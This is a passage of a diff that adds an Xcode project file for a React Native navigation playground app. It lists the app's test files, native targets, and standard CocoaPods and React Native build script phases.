RNNViewControllerFactoryTest.mm */, + E58D26272385888B003F36BA /* RNNDotIndicatorPresenterTest.mm */, + E58D26332385888B003F36BA /* RNNExternalComponentStoreTest.mm */, + E58D26282385888B003F36BA /* RNNFontAttributesCreatorTest.mm */, + E58D262A2385888B003F36BA /* RNNLayoutManagerTest.mm */, + E58D26432385888C003F36BA /* RNNModalManagerTest.mm */, + 5006E16527974DEA00D106A6 /* RNNModalHostViewManagerHandlerTest.mm */, + 503F775B24D19D96005E596D /* RNNModalManagerEventHandlerTest.mm */, + E58D263F2385888C003F36BA /* RNNStackControllerTest.mm */, + E58D26322385888B003F36BA /* RNNNavigationOptionsTest.mm */, + E58D263C2385888C003F36BA /* RNNNavigationStackManagerTest.mm */, + 50FDEFBB258F5C5D008C9C3C /* RNNSearchBarOptionsTest.mm */, + 502734AE24F3E9110022163C /* ColorParserTest.mm */, + E58D262C2385888B003F36BA /* RNNOptionsTest.h */, + E58D262D2385888B003F36BA /* RNNOverlayManagerTest.mm */, + E58D26262385888B003F36BA /* RNNRootViewControllerTest.mm */, + 5064A387256A85EB00D7AC84 /* NSArray+utilsTest.mm */, + E58D26372385888B003F36BA /* RNNSideMenuControllerTest.mm */, + E58D262B2385888B003F36BA /* RNNSideMenuParserTest.mm */, + E58D26362385888B003F36BA /* RNNSideMenuPresenterTest.mm */, + E58D26312385888B003F36BA /* RNNStackPresenterTest.mm */, + E58D26292385888B003F36BA /* BottomTabsControllerTest.mm */, + 5022EDCB240551EE00852BA6 /* RNNBottomTabsAppearancePresenterTest.mm */, + E58D26342385888B003F36BA /* RNNTestRootViewCreator.h */, + E58D263D2385888C003F36BA /* RNNTestRootViewCreator.mm */, + E58D26382385888B003F36BA /* RNNTransitionStateHolderTest.mm */, + E58D263B2385888C003F36BA /* UITabBarController+RNNOptionsTest.mm */, + E58D26252385888B003F36BA /* UIViewController+LayoutProtocolTest.mm */, + E58D263E2385888C003F36BA /* UIViewController+RNNOptionsTest.mm */, + 50CF233B240695B10098042D /* RNNBottomTabsController+Helpers.h */, + 50CF233C240695B10098042D /* RNNBottomTabsController+Helpers.mm */, + 50647FE223E3196800B92025 /* RNNExternalViewControllerTests.mm */, + E58D261F238587F4003F36BA /* Info.plist */, + ); + path = NavigationTests; + sourceTree = ""; + }; + E58D262E2385888B003F36BA /* utils */ = { + isa = PBXGroup; + children = ( + E58D262F2385888B003F36BA /* RNNTestBase.mm */, + E58D26302385888B003F36BA /* RNNTestBase.h */, + 501C86B7239FE9C400E0B631 /* UIImage+Utils.h */, + 501C86B8239FE9C400E0B631 /* UIImage+Utils.mm */, + 50C9A8D2240FB9D000BD699F /* RNNComponentViewController+Utils.h */, + 50C9A8D3240FB9D000BD699F /* RNNComponentViewController+Utils.mm */, + ); + path = utils; + sourceTree = ""; + }; + E58D26442385888C003F36BA /* Options */ = { + isa = PBXGroup; + children = ( + E58D26452385888C003F36BA /* RNNTestNoColor.mm */, + ); + path = Options; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 13B07F861A680F5B00A75B9A /* playground */ = { + isa = PBXNativeTarget; + buildConfigurationList = 13B07F931A680F5B00A75B9A /* Build configuration list for PBXNativeTarget "playground" */; + buildPhases = ( + D80DD80E880A67F5575078C4 /* [CP] Check Pods Manifest.lock */, + 13B07F871A680F5B00A75B9A /* Sources */, + 13B07F8C1A680F5B00A75B9A /* Frameworks */, + 13B07F8E1A680F5B00A75B9A /* Resources */, + 00DD1BFF1BD5951E006B06BC /* Bundle React Native code and images */, + 4B4DD2714D02BEBC8F96EAD1 /* [CP] Copy Pods Resources */, + 27B55A5BA99FC03251B4E559 /* [CP] Embed Pods Frameworks */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = playground; + productName = "Hello World"; + productReference = 13B07F961A680F5B00A75B9A /* playground.app */; + productType = "com.apple.product-type.application"; + }; + 507C80D92429111F00F765F7 /* SnapshotTests */ = { + isa = PBXNativeTarget; + buildConfigurationList = 507C80E12429111F00F765F7 /* Build configuration list for PBXNativeTarget "SnapshotTests" */; + buildPhases = ( + 59AF7E19C5E8CA48E2ADBB81 /* [CP] Check Pods Manifest.lock */, + 507C80D62429111F00F765F7 /* Sources */, + 507C80D72429111F00F765F7 /* Frameworks */, + 507C80D82429111F00F765F7 /* Resources */, + AB86EBB5F0AF15B43F3472FD /* [CP] Copy Pods Resources */, + D85A6267FC9FE5A55766B261 /* [CP] Embed Pods Frameworks */, + ); + buildRules = ( + ); + dependencies = ( + 507C80E02429111F00F765F7 /* PBXTargetDependency */, + ); + name = SnapshotTests; + productName = SnapshotTests; + productReference = 507C80DA2429111F00F765F7 /* SnapshotTests.xctest */; + productType = "com.apple.product-type.bundle.unit-test"; + }; + 50996C5C23AA46DD00008F89 /* NavigationIOS12Tests */ = { + isa = PBXNativeTarget; + buildConfigurationList = 50996C6623AA46DD00008F89 /* Build configuration list for PBXNativeTarget "NavigationIOS12Tests" */; + buildPhases = ( + 0F3F01851F0684D870017CA2 /* [CP] Check Pods Manifest.lock */, + 50996C5923AA46DD00008F89 /* Sources */, + 50996C5A23AA46DD00008F89 /* Frameworks */, + 50996C5B23AA46DD00008F89 /* Resources */, + EB65541BD6775B84E7C8AEDD /* [CP] Copy Pods Resources */, + 72BA3B0BE92EC7CD48134759 /* [CP] Embed Pods Frameworks */, + ); + buildRules = ( + ); + dependencies = ( + 50996C6323AA46DD00008F89 /* PBXTargetDependency */, + ); + name = NavigationIOS12Tests; + productName = NavigationIOS12Tests; + productReference = 50996C5D23AA46DD00008F89 /* NavigationIOS12Tests.xctest */; + productType = "com.apple.product-type.bundle.unit-test"; + }; + E58D261A238587F4003F36BA /* NavigationTests */ = { + isa = PBXNativeTarget; + buildConfigurationList = E58D2624238587F4003F36BA /* Build configuration list for PBXNativeTarget "NavigationTests" */; + buildPhases = ( + 7019F906475029978A0A826C /* [CP] Check Pods Manifest.lock */, + E58D2617238587F4003F36BA /* Sources */, + E58D2618238587F4003F36BA /* Frameworks */, + E58D2619238587F4003F36BA /* Resources */, + 8A0391DE1BA0B3DE9D40DE96 /* [CP] Copy Pods Resources */, + AB7C03026562E29128D8F500 /* [CP] Embed Pods Frameworks */, + ); + buildRules = ( + ); + dependencies = ( + E58D2621238587F4003F36BA /* PBXTargetDependency */, + ); + name = NavigationTests; + productName = NavigationTests; + productReference = E58D261B238587F4003F36BA /* NavigationTests.xctest */; + productType = "com.apple.product-type.bundle.unit-test"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 83CBB9F71A601CBA00E9B192 /* Project object */ = { + isa = PBXProject; + attributes = { + DefaultBuildSystemTypeForWorkspace = Original; + LastUpgradeCheck = 1120; + ORGANIZATIONNAME = Wix; + TargetAttributes = { + 13B07F861A680F5B00A75B9A = { + LastSwiftMigration = 1400; + ProvisioningStyle = Automatic; + }; + 507C80D92429111F00F765F7 = { + CreatedOnToolsVersion = 11.2.1; + ProvisioningStyle = Automatic; + TestTargetID = 13B07F861A680F5B00A75B9A; + }; + 50996C5C23AA46DD00008F89 = { + CreatedOnToolsVersion = 11.2.1; + ProvisioningStyle = Automatic; + TestTargetID = 13B07F861A680F5B00A75B9A; + }; + E58D261A238587F4003F36BA = { + CreatedOnToolsVersion = 11.2.1; + ProvisioningStyle = Automatic; + TestTargetID = 13B07F861A680F5B00A75B9A; + }; + }; + }; + buildConfigurationList = 83CBB9FA1A601CBA00E9B192 /* Build configuration list for PBXProject "playground" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + English, + en, + Base, + ); + mainGroup = 83CBB9F61A601CBA00E9B192; + productRefGroup = 83CBBA001A601CBA00E9B192 /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 13B07F861A680F5B00A75B9A /* playground */, + E58D261A238587F4003F36BA /* NavigationTests */, + 50996C5C23AA46DD00008F89 /* NavigationIOS12Tests */, + 507C80D92429111F00F765F7 /* SnapshotTests */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXResourcesBuildPhase section */ + 13B07F8E1A680F5B00A75B9A /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 9F9A3A9625260DA900AAAF37 /* LaunchScreen.storyboard in Resources */, + 13B07FBF1A68108700A75B9A /* Images.xcassets in Resources */, + F37104B81B0A0360736BF06D /* PrivacyInfo.xcprivacy in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 507C80D82429111F00F765F7 /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 5041897A250788AE004A6BC7 /* FBSnapshotTestCase-Info.plist in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 50996C5B23AA46DD00008F89 /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; + E58D2619238587F4003F36BA /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXResourcesBuildPhase section */ + +/* Begin PBXShellScriptBuildPhase section */ + 00DD1BFF1BD5951E006B06BC /* Bundle React Native code and images */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + name = "Bundle React Native code and images"; + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "export NODE_BINARY=node\n../../node_modules/react-native/scripts/react-native-xcode.sh ./index.js\n"; + }; + 0F3F01851F0684D870017CA2 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-NavigationIOS12Tests-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; + 27B55A5BA99FC03251B4E559 /* [CP] Embed Pods Frameworks */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-playground/Pods-playground-frameworks.sh", + "${PODS_XCFRAMEWORKS_BUILD_DIR}/ReactNativeDependencies/ReactNativeDependencies.framework/ReactNativeDependencies", + "${PODS_XCFRAMEWORKS_BUILD_DIR}/hermes-engine/Pre-built/hermesvm.framework/hermesvm", + ); + name = "[CP] Embed Pods Frameworks"; + outputPaths = ( + "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/ReactNativeDependencies.framework", + "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/hermesvm.framework", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-playground/Pods-playground-frameworks.sh\"\n"; + showEnvVarsInLog = 0; + }; + 4B4DD2714D02BEBC8F96EAD1 /* [CP] Copy Pods Resources */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-playground/Pods-playground-resources.sh", + "${PODS_CONFIGURATION_BUILD_DIR}/React-Core/React-Core_privacy.bundle", + "${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact/React-cxxreact_privacy.bundle", + "${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage/SDWebImage.bundle", + ); + name = "[CP] Copy Pods Resources"; + outputPaths = ( + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-Core_privacy.bundle", + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-cxxreact_privacy.bundle", + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/SDWebImage.bundle", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-playground/Pods-playground-resources.sh\"\n"; + showEnvVarsInLog = 0; + }; + 59AF7E19C5E8CA48E2ADBB81 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-SnapshotTests-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; + 7019F906475029978A0A826C /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-NavigationTests-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; + 72BA3B0BE92EC7CD48134759 /* [CP] Embed Pods Frameworks */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests-frameworks.sh", + "${PODS_XCFRAMEWORKS_BUILD_DIR}/ReactNativeDependencies/ReactNativeDependencies.framework/ReactNativeDependencies", + "${PODS_XCFRAMEWORKS_BUILD_DIR}/hermes-engine/Pre-built/hermesvm.framework/hermesvm", + ); + name = "[CP] Embed Pods Frameworks"; + outputPaths = ( + "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/ReactNativeDependencies.framework", + "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/hermesvm.framework", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests-frameworks.sh\"\n"; + showEnvVarsInLog = 0; + }; + 8A0391DE1BA0B3DE9D40DE96 /* [CP] Copy Pods Resources */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-NavigationTests/Pods-NavigationTests-resources.sh", + "${PODS_CONFIGURATION_BUILD_DIR}/React-Core/React-Core_privacy.bundle", + "${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact/React-cxxreact_privacy.bundle", + "${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage/SDWebImage.bundle", + ); + name = "[CP] Copy Pods Resources"; + outputPaths = ( + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-Core_privacy.bundle", + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-cxxreact_privacy.bundle", + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/SDWebImage.bundle", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-NavigationTests/Pods-NavigationTests-resources.sh\"\n"; + showEnvVarsInLog = 0; + }; + AB7C03026562E29128D8F500 /* [CP] Embed Pods Frameworks */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-NavigationTests/Pods-NavigationTests-frameworks.sh", + "${PODS_XCFRAMEWORKS_BUILD_DIR}/ReactNativeDependencies/ReactNativeDependencies.framework/ReactNativeDependencies", + "${PODS_XCFRAMEWORKS_BUILD_DIR}/hermes-engine/Pre-built/hermesvm.framework/hermesvm", + ); + name = "[CP] Embed Pods Frameworks"; + outputPaths = ( + "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/ReactNativeDependencies.framework", + "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/hermesvm.framework", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-NavigationTests/Pods-NavigationTests-frameworks.sh\"\n"; + showEnvVarsInLog = 0; + }; + AB86EBB5F0AF15B43F3472FD /* [CP] Copy Pods Resources */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests-resources.sh", + "${PODS_CONFIGURATION_BUILD_DIR}/React-Core/React-Core_privacy.bundle", + "${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact/React-cxxreact_privacy.bundle", + "${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage/SDWebImage.bundle", + ); + name = "[CP] Copy Pods Resources"; + outputPaths = ( + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-Core_privacy.bundle", + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-cxxreact_privacy.bundle", + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/SDWebImage.bundle", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests-resources.sh\"\n"; + showEnvVarsInLog = 0; + }; + D80DD80E880A67F5575078C4 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-playground-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; + D85A6267FC9FE5A55766B261 /* [CP] Embed Pods Frameworks */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests-frameworks.sh", + "${PODS_XCFRAMEWORKS_BUILD_DIR}/ReactNativeDependencies/ReactNativeDependencies.framework/ReactNativeDependencies", + "${PODS_XCFRAMEWORKS_BUILD_DIR}/hermes-engine/Pre-built/hermesvm.framework/hermesvm", + ); + name = "[CP] Embed Pods Frameworks"; + outputPaths = ( + "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/ReactNativeDependencies.framework", + "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/hermesvm.framework", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests-frameworks.sh\"\n"; + showEnvVarsInLog = 0; + }; + EB65541BD6775B84E7C8AEDD /* [CP] Copy Pods Resources */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests-resources.sh", + "${PODS_CONFIGURATION_BUILD_DIR}/React-Core/React-Core_privacy.bundle", + "${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact/React-cxxreact_privacy.bundle", + "${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage/SDWebImage.bundle", + ); + name = "[CP] Copy Pods Resources"; + outputPaths = ( + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-Core_privacy.bundle", + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-cxxreact_privacy.bundle", + "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/SDWebImage.bundle", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests-resources.sh\"\n"; + showEnvVarsInLog = 0; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 13B07F871A680F5B00A75B9A /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 5007B4312472CA390002AA4E /* RNNNativeViewController.mm in Sources */, + 5078DF39242BE8AA007B0B4F /* TestingAppDelegate.mm in Sources */, + 5007B4342472CBD40002AA4E /* RNNCustomViewController.mm in Sources */, + 13B07FBC1A68108700A75B9A /* AppDelegate.mm in Sources */, + 13B07FC11A68108700A75B9A /* main.m in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 507C80D62429111F00F765F7 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 50418977250788AE004A6BC7 /* FBSnapshotTestCasePlatform.mm in Sources */, + 5007B4362472D3CC0002AA4E /* RNNCustomViewController.mm in Sources */, + 5007B4352472D3C90002AA4E /* RNNNativeViewController.mm in Sources */, + 5041897E250788AE004A6BC7 /* UIImage+Diff.mm in Sources */, + 507C80E8242A1E6F00F765F7 /* AppDelegate.mm in Sources */, + 5041897C250788AE004A6BC7 /* UIImage+Snapshot.mm in Sources */, + 507C80EC242BC6FB00F765F7 /* LayoutCreator.mm in Sources */, + 507C80E7242914C800F765F7 /* StackOptionsTest.mm in Sources */, + 507C80E5242912AD00F765F7 /* RNNTestRootViewCreator.mm in Sources */, + 50650A23242FB0F800688104 /* CommandsHandlerCreator.mm in Sources */, + 5041897D250788AE004A6BC7 /* UIImage+Compare.mm in Sources */, + 5041897B250788AE004A6BC7 /* FBSnapshotTestCase.mm in Sources */, + 50418978250788AE004A6BC7 /* FBSnapshotTestController.mm in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 50996C5923AA46DD00008F89 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 5022EDCD2405522000852BA6 /* RNNBottomTabsPresenterTest.mm in Sources */, + 50C085F52594973000B0502C /* RNNComponentViewController+Utils.mm in Sources */, + 50C9A8D1240EB95F00BD699F /* RNNBottomTabsController+Helpers.mm in Sources */, + 50996C6923AA487800008F89 /* RNNTestRootViewCreator.mm in Sources */, + 50996C6823AA477400008F89 /* RNNRootViewControllerTest.mm in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + E58D2617238587F4003F36BA /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 5007B4392472D9A70002AA4E /* RNNNativeViewController.mm in Sources */, + 5007B4382472D9A20002AA4E /* RNNCustomViewController.mm in Sources */, + E58D265B2385888C003F36BA /* UIViewController+RNNOptionsTest.mm in Sources */, + E58D26532385888C003F36BA /* RNNSideMenuPresenterTest.mm in Sources */, + 502734AF24F3E9BA0022163C /* ColorParserTest.mm in Sources */, + 50BCB27623F1A2B100D6C8E5 /* TopBarAppearancePresenterTest.mm in Sources */, + 50C9A8D4240FB9D000BD699F /* RNNComponentViewController+Utils.mm in Sources */, + 50647FE323E3196800B92025 /* RNNExternalViewControllerTests.mm in Sources */, + 50FDEFBC258F5C5D008C9C3C /* RNNSearchBarOptionsTest.mm in Sources */, + E58D264D2385888C003F36BA /* RNNOverlayManagerTest.mm in Sources */, + 501C86B9239FE9C400E0B631 /* UIImage+Utils.mm in Sources */, + E58D265F2385888C003F36BA /* RNNBasePresenterTest.mm in Sources */, + E58D26542385888C003F36BA /* RNNSideMenuControllerTest.mm in Sources */, + E58D264A2385888C003F36BA /* BottomTabsControllerTest.mm in Sources */, + 5006E16627974DEA00D106A6 /* RNNModalHostViewManagerHandlerTest.mm in Sources */, + E58D26472385888C003F36BA /* RNNRootViewControllerTest.mm in Sources */, + 50C085E8259141E200B0502C /* RNNButtonsPresenterTest.mm in Sources */, + E58D26582385888C003F36BA /* UITabBarController+RNNOptionsTest.mm in Sources */, + E58D265A2385888C003F36BA /* RNNTestRootViewCreator.mm in Sources */, + E58D26492385888C003F36BA /* RNNFontAttributesCreatorTest.mm in Sources */, + E58D26552385888C003F36BA /* RNNTransitionStateHolderTest.mm in Sources */, + E58D26462385888C003F36BA /* UIViewController+LayoutProtocolTest.mm in Sources */, + E58D26512385888C003F36BA /* RNNExternalComponentStoreTest.mm in Sources */, + E58D265E2385888C003F36BA /* RNNCommandsHandlerTest.mm in Sources */, + E58D264B2385888C003F36BA /* RNNLayoutManagerTest.mm in Sources */, + 50C085E62591341600B0502C /* RNNUIBarButtonItemTest.mm in Sources */, + E58D26592385888C003F36BA /* RNNNavigationStackManagerTest.mm in Sources */, + E58D26602385888C003F36BA /* RNNModalManagerTest.mm in Sources */, + E58D26502385888C003F36BA /* RNNNavigationOptionsTest.mm in Sources */, + E58D264E2385888C003F36BA /* RNNTestBase.mm in Sources */, + 5064A388256A85EB00D7AC84 /* NSArray+utilsTest.mm in Sources */, + 5022EDCE2405524700852BA6 /* RNNBottomTabsAppearancePresenterTest.mm in Sources */, + 503F775C24D19D96005E596D /* RNNModalManagerEventHandlerTest.mm in Sources */, + 500E9FE72406A52100C61231 /* BottomTabPresenterTest.mm in Sources */, + E58D26612385888C003F36BA /* RNNTestNoColor.mm in Sources */, + 50CF233D240695B10098042D /* RNNBottomTabsController+Helpers.mm in Sources */, + E58D265D2385888C003F36BA /* RNNViewControllerFactoryTest.mm in Sources */, + E58D265C2385888C003F36BA /* RNNStackControllerTest.mm in Sources */, + E58D26482385888C003F36BA /* RNNDotIndicatorPresenterTest.mm in Sources */, + E58D26522385888C003F36BA /* RNNComponentPresenterTest.mm in Sources */, + E58D264C2385888C003F36BA /* RNNSideMenuParserTest.mm in Sources */, + E58D264F2385888C003F36BA /* RNNStackPresenterTest.mm in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin PBXTargetDependency section */ + 507C80E02429111F00F765F7 /* PBXTargetDependency */ = { + isa = PBXTargetDependency; + target = 13B07F861A680F5B00A75B9A /* playground */; + targetProxy = 507C80DF2429111F00F765F7 /* PBXContainerItemProxy */; + }; + 50996C6323AA46DD00008F89 /* PBXTargetDependency */ = { + isa = PBXTargetDependency; + target = 13B07F861A680F5B00A75B9A /* playground */; + targetProxy = 50996C6223AA46DD00008F89 /* PBXContainerItemProxy */; + }; + E58D2621238587F4003F36BA /* PBXTargetDependency */ = { + isa = PBXTargetDependency; + target = 13B07F861A680F5B00A75B9A /* playground */; + targetProxy = E58D2620238587F4003F36BA /* PBXContainerItemProxy */; + }; +/* End PBXTargetDependency section */ + +/* Begin XCBuildConfiguration section */ + 13B07F941A680F5B00A75B9A /* Debug */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = B484A10A046B0046B98A76B5 /* Pods-playground.debug.xcconfig */; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_IDENTITY = "Apple Development"; + 